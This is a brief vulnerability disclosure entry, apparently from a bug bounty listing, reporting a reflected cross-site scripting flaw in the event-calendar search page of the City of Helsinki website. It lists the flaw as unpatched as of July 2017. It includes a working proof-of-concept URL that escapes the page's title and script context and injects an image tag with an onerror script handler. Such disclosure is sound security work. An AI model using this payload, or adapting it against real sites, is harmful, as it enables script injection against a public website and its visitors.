hel.fi XSS vulnerability

Vulnerable URL: https://www.hel.fi/helsinki/fi/tapahtumakalenteri/haku?q=a%27%3Efoo=%22bar=%3E%3Edemonium%3C/title%3E%3C/script%3E%3Cimg%20src=.%20onerror=prompt/OPENBUGBOUNTY/%3Ea Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS...